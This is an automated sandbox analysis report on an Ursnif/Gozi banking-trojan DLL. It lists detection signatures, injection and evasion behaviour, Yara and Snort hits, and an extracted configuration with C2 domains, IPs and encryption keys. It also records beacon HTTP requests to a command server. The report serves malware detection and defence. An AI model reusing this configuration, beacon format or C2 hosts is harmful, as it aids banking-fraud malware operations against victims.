Windows Analysis Report
zs5n5sI6N2

Overview

General Information

Sample Name: zs5n5sI6N2 (renamed file extension from none to dll)
Analysis ID: 633919
MD5: 9ce6868cb546819a7ba2fc27f91a3777
SHA1: 6052120b0375f44ede4985ad98f7bd89beb70c2b
SHA256: fc4bee1a68545b7067fad93ba74478641acd683117f9fe478a4941d7146db959
Tags: dllGoziITAursnif
Infos:

Detection

Ursnif
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Snort IDS alert for network traffic
Maps a DLL or memory area into another process
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Machine Learning detection for sample
Allocates memory in foreign processes
Uses ping.exe to check the status of other devices and networks
Self deletion via cmd delete
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Modifies the context of a thread in another process (thread injection)
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Writes registry values via WMI
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
One or more processes crash
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection
barindex
Found malware configuration
Source: 00000003.00000002.511055251.0000000005B60000.00000040.10000000.00040000.00000000.sdmp Malware Configuration Extractor: Ursnif {"RSA Public Key": "2FCnIUzdNGgeELQ1eLj0bJoMz6Wyhsxr173krpubnAkBznOw2O4zXiS7ovCR4PNNsCIjegHbTvoHWqhvq9RRNZAEBtDWX6mW3yIDXSN0qA1n8qiSRebn1HxZtuyL6FY/BR1nMcmDUet9iMwvlRDxmj+VzyCObUK6W0DHCUtNCB3pyymvgBuZvmOoqHVPJIhNG61j6VPVajqzr24KUke3teaWIZiCXT2orfIpBZFefRCfYuOYhoPg/LDJjkEBPCd72OAc2ekKwF9Tcjmm1Qm9F8aB637Mj7oTJWG5gIc8figdfCIcJsfVqtjVSAcA29hI94eg/OsMoQ7GmaQR3NS4pkbIWbvv0j+obPcxvU7II18=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "gamexperts.net", "37.10.71.138", "185.158.250.51"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
Multi AV Scanner detection for submitted file
Source: zs5n5sI6N2.dll ReversingLabs: Detection: 41%
Antivirus detection for URL or domain
Source: http://176.10.119.68/ Avira URL Cloud: Label: phishing
Source: http://176.10.119.68/drew/ELiX5C1LBrOXGVb_2F7VT_2/F3y7AZYCgC/OAzMBADjwIAAgevJ7/Ln8DdTMzAOtI/oaRRlHeZ Avira URL Cloud: Label: phishing
Source: http://176.10.119.68/drew/bht18BKt3t1ka1/EyRQXKSxK1fGGVQT69xe7/l12WvU97arR8lucE/BPan_2BqxdC9XZm/a6pB9pAoQo46tq53qB/yLUp2d5T9/j5s74YMStQa0vycAYVnz/i1_2BT1sbtGbsqmiKYJ/utxS2UAD48D_2FhKmTNhPj/C7HmcyJhh_2BI/RoK5qxzW/AONvbwwgZ6joXACVCUjXkBm/TrT5RUjDbT/JqnBRntI67DVKvl4U/zabjaRP4H3Fa/y7F2cIC4htT/NfLmrAWL7x6jSO/onSOjeHvFKi2HNfNhR_2F/KXsh6.jlk Avira URL Cloud: Label: phishing
Source: http://176.10.119.68/drew/RGq_2BVJ/3BCdlnfIA49R8s_2BXe1s3i/VFrZ4awbB4/zmZ34_2Bwuhkj_2Fp/SYr8rby3ftco/TjSDtFakSde/soGhjhBV5Tb5mX/q7nM_2FDyGsXlD3E3A4fe/_2ByGCIGrgekC2k4/_2BIghzEoEtICMG/eMdl_2FVYz1Gzr3rXb/6bQxvF882/0gJazcAIQC6vmyI4DEnR/k0LRXXmFX8YlpSLVUNq/6DaeywiN2GwHaJFGl8Ik7G/m9UBKgfO4ybSV/fnhYeS0x/hab1JQvgZCtDWyU/A.jlk Avira URL Cloud: Label: phishing
Source: http://176.10.119.68/drew/bht18BKt3t1ka1/EyRQXKSxK1fGGVQT69xe7/l12WvU97arR8lucE/BPan_2BqxdC9XZm/a6pB Avira URL Cloud: Label: phishing
Source: http://176.10.119.68/drew/RGq_2BVJ/3BCdlnfIA49R8s_2BXe1s3i/VFrZ4awbB4/zmZ34_2Bwuhkj_2Fp/SYr8rby3ftco Avira URL Cloud: Label: phishing
Machine Learning detection for sample
Source: zs5n5sI6N2.dll Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01005FBB CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError, 3_2_01005FBB
Uses 32bit PE files
Source: zs5n5sI6N2.dll Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
Source: Binary string: uwGXyM.pdb source: loaddll32.exe, 00000000.00000000.283526713.000000000040D000.00000002.00000001.01000000.00000003.sdmp, zs5n5sI6N2.dll
Source: Binary string: ntdll.pdb source: rundll32.exe, 00000003.00000003.444837399.0000000006100000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.443008243.0000000006050000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000003.00000003.444837399.0000000006100000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.443008243.0000000006050000.00000004.00001000.00020000.00000000.sdmp
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B665C2 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary, 3_2_05B665C2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B699BC lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, 3_2_05B699BC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B7BAD1 lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose, 3_2_05B7BAD1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B6FD47 wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree, 3_2_05B6FD47

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 176.10.119.68 80 Jump to behavior
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.4:49765 -> 13.107.42.16:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.4:49765 -> 13.107.42.16:80
Source: Traffic Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.4:49771 -> 176.10.119.68:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.4:49771 -> 176.10.119.68:80
Uses ping.exe to check the status of other devices and networks
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-SOFTPLUSCH AS-SOFTPLUSCH
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /drew/ELiX5C1LBrOXGVb_2F7VT_2/F3y7AZYCgC/OAzMBADjwIAAgevJ7/Ln8DdTMzAOtI/oaRRlHeZd85/z64fb0RLSddtHF/rHMZD1_2FqMPdbWOBNRMe/v9EppSM4NhIsm8SQ/XAUtOy4sCW68iNX/Cmaw_2Ff5hh5_2FyXv/eA_2Fri4K/swu3zwi7P_2FcYbL_2Bx/W02PomqcfEjRbitbvf6/IXpVMOx_2BSCAzr10HE5Rp/jnPQORhN2og07/6kVbs5lO/NwTvbwc1Won8BiTcK1YZBEd/L7l.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 176.10.119.68Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/RGq_2BVJ/3BCdlnfIA49R8s_2BXe1s3i/VFrZ4awbB4/zmZ34_2Bwuhkj_2Fp/SYr8rby3ftco/TjSDtFakSde/soGhjhBV5Tb5mX/q7nM_2FDyGsXlD3E3A4fe/_2ByGCIGrgekC2k4/_2BIghzEoEtICMG/eMdl_2FVYz1Gzr3rXb/6bQxvF882/0gJazcAIQC6vmyI4DEnR/k0LRXXmFX8YlpSLVUNq/6DaeywiN2GwHaJFGl8Ik7G/m9UBKgfO4ybSV/fnhYeS0x/hab1JQvgZCtDWyU/A.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 176.10.119.68Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/bht18BKt3t1ka1/EyRQXKSxK1fGGVQT69xe7/l12WvU97arR8lucE/BPan_2BqxdC9XZm/a6pB9pAoQo46tq53qB/yLUp2d5T9/j5s74YMStQa0vycAYVnz/i1_2BT1sbtGbsqmiKYJ/utxS2UAD48D_2FhKmTNhPj/C7HmcyJhh_2BI/RoK5qxzW/AONvbwwgZ6joXACVCUjXkBm/TrT5RUjDbT/JqnBRntI67DVKvl4U/zabjaRP4H3Fa/y7F2cIC4htT/NfLmrAWL7x6jSO/onSOjeHvFKi2HNfNhR_2F/KXsh6.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 176.10.119.68Connection: Keep-AliveCache-Control: no-cache
Source: rundll32.exe, 00000003.00000003.385741763.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.370400985.0000000000F44000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://176.10.119.68/
Source: rundll32.exe, 00000003.00000003.370432738.0000000000F55000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://176.10.119.68/drew/ELiX5C1LBrOXGVb_2F7VT_2/F3y7AZYCgC/OAzMBADjwIAAgevJ7/Ln8DdTMzAOtI/oaRRlHeZ
Source: rundll32.exe, 00000003.00000002.507972580.0000000000F55000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://176.10.119.68/drew/RGq_2BVJ/3BCdlnfIA49R8s_2BXe1s3i/VFrZ4awbB4/zmZ34_2Bwuhkj_2Fp/SYr8rby3ftco
Source: rundll32.exe, 00000003.00000002.507870462.0000000000F45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://176.10.119.68/drew/bht18BKt3t1ka1/EyRQXKSxK1fGGVQT69xe7/l12WvU97arR8lucE/BPan_2BqxdC9XZm/a6pB
Source: rundll32.exe, 00000003.00000003.385741763.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.370400985.0000000000F44000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.507870462.0000000000F45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://config.edge.skype.com/drew/MhUMoFyOZh9qYvrOpwdPHz/hMGU1NSaMibeb/gbf3D
Source: rundll32.exe, 00000003.00000003.385741763.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.370400985.0000000000F44000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.507870462.0000000000F45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://config.edge.skype.com/drew/MhUMoFyOZh9qYvrOpwdPHz/hMGU1NSaMibeb/gbf3DosK/m_2FDcmJcUXkMB1YR9WE
Source: rundll32.exe, 00000003.00000003.431296892.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.458070359.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000003.469656953.0000020923FDC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001E.00000003.450528570.000001F31E7EC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001E.00000003.450680701.000001F31E7EC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://constitution.org/usdeclar.txt
Source: rundll32.exe, 00000003.00000003.431296892.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.458070359.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000003.469656953.0000020923FDC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001E.00000003.450528570.000001F31E7EC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001E.00000003.450680701.000001F31E7EC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://constitution.org/usdeclar.txtC:
Source: powershell.exe, 00000019.00000003.464926394.0000020923589000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: rundll32.exe, 00000003.00000003.431296892.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.458070359.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000003.469656953.0000020923FDC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001E.00000003.450528570.000001F31E7EC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001E.00000003.450680701.000001F31E7EC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://https://file://USER.ID%lu.exe/upd
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01001CA5 ResetEvent,ResetEvent,InternetReadFile,GetLastError,ResetEvent,InternetReadFile,GetLastError, 3_2_01001CA5
Source: global traffic HTTP traffic detected: GET /drew/ELiX5C1LBrOXGVb_2F7VT_2/F3y7AZYCgC/OAzMBADjwIAAgevJ7/Ln8DdTMzAOtI/oaRRlHeZd85/z64fb0RLSddtHF/rHMZD1_2FqMPdbWOBNRMe/v9EppSM4NhIsm8SQ/XAUtOy4sCW68iNX/Cmaw_2Ff5hh5_2FyXv/eA_2Fri4K/swu3zwi7P_2FcYbL_2Bx/W02PomqcfEjRbitbvf6/IXpVMOx_2BSCAzr10HE5Rp/jnPQORhN2og07/6kVbs5lO/NwTvbwc1Won8BiTcK1YZBEd/L7l.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 176.10.119.68Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/RGq_2BVJ/3BCdlnfIA49R8s_2BXe1s3i/VFrZ4awbB4/zmZ34_2Bwuhkj_2Fp/SYr8rby3ftco/TjSDtFakSde/soGhjhBV5Tb5mX/q7nM_2FDyGsXlD3E3A4fe/_2ByGCIGrgekC2k4/_2BIghzEoEtICMG/eMdl_2FVYz1Gzr3rXb/6bQxvF882/0gJazcAIQC6vmyI4DEnR/k0LRXXmFX8YlpSLVUNq/6DaeywiN2GwHaJFGl8Ik7G/m9UBKgfO4ybSV/fnhYeS0x/hab1JQvgZCtDWyU/A.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 176.10.119.68Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/bht18BKt3t1ka1/EyRQXKSxK1fGGVQT69xe7/l12WvU97arR8lucE/BPan_2BqxdC9XZm/a6pB9pAoQo46tq53qB/yLUp2d5T9/j5s74YMStQa0vycAYVnz/i1_2BT1sbtGbsqmiKYJ/utxS2UAD48D_2FhKmTNhPj/C7HmcyJhh_2BI/RoK5qxzW/AONvbwwgZ6joXACVCUjXkBm/TrT5RUjDbT/JqnBRntI67DVKvl4U/zabjaRP4H3Fa/y7F2cIC4htT/NfLmrAWL7x6jSO/onSOjeHvFKi2HNfNhR_2F/KXsh6.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 176.10.119.68Connection: Keep-AliveCache-Control: no-cache

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.431296892.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.324102664.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323570193.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.375616313.000000000509C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000003.469656953.0000020923FDC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323251316.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.373340776.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.450528570.000001F31E7EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.322813142.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.324135232.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.322932603.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.370749098.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.450680701.000001F31E7EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323857679.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323438533.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.458070359.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 4452, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6824, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 6364, type: MEMORYSTR
Source: Yara match File source: 3.3.rundll32.exe.4b794a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b794a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.rundll32.exe.1000000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.5246b48.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.52194a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.5246b48.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.519a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.52194a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.519a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.511055251.0000000005B60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.505479603.0000000004B79000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.508865065.0000000004F1F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000000.449708876.00000000007F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000000.447845466.00000000007F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000000.446537800.00000000007F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.373077205.000000000519A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.373165051.0000000005219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

E-Banking Fraud
barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.431296892.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.324102664.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323570193.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.375616313.000000000509C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000003.469656953.0000020923FDC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323251316.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.373340776.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.450528570.000001F31E7EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.322813142.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.324135232.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.322932603.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.370749098.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.450680701.000001F31E7EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323857679.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323438533.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.458070359.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 4452, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6824, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 6364, type: MEMORYSTR
Source: Yara match File source: 3.3.rundll32.exe.4b794a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b794a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.rundll32.exe.1000000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.5246b48.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.52194a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.5246b48.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.519a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.52194a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.519a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.511055251.0000000005B60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.505479603.0000000004B79000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.508865065.0000000004F1F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000000.449708876.00000000007F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000000.447845466.00000000007F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000000.446537800.00000000007F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.373077205.000000000519A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.373165051.0000000005219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Disables SPDY (HTTP compression, likely to perform web injects)
Source: C:\Windows\explorer.exe Registry key value created / modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings EnableSPDY3_0 0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01005FBB CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError, 3_2_01005FBB

System Summary
barindex
Writes registry values via WMI
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Uses 32bit PE files
Source: zs5n5sI6N2.dll Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
One or more processes crash
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3456 -s 272
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01004BF1 3_2_01004BF1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01001645 3_2_01001645
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_0100829C 3_2_0100829C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B83DB0 3_2_05B83DB0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B7154D 3_2_05B7154D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B7D7F1 3_2_05B7D7F1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B667CA 3_2_05B667CA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B7FF4D 3_2_05B7FF4D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B6B238 3_2_05B6B238
Source: C:\Windows\System32\control.exe Code function: 30_2_007FB4B8 30_2_007FB4B8
Source: C:\Windows\System32\control.exe Code function: 30_2_007F9660 30_2_007F9660
Source: C:\Windows\System32\control.exe Code function: 30_2_007FEEF8 30_2_007FEEF8
Source: C:\Windows\System32\control.exe Code function: 30_2_008198A8 30_2_008198A8
Source: C:\Windows\System32\control.exe Code function: 30_2_008180A8 30_2_008180A8
Source: C:\Windows\System32\control.exe Code function: 30_2_00802830 30_2_00802830
Source: C:\Windows\System32\control.exe Code function: 30_2_00817850 30_2_00817850
Source: C:\Windows\System32\control.exe Code function: 30_2_00801864 30_2_00801864
Source: C:\Windows\System32\control.exe Code function: 30_2_007F716C 30_2_007F716C
Source: C:\Windows\System32\control.exe Code function: 30_2_008151A8 30_2_008151A8
Source: C:\Windows\System32\control.exe Code function: 30_2_0080B9E0 30_2_0080B9E0
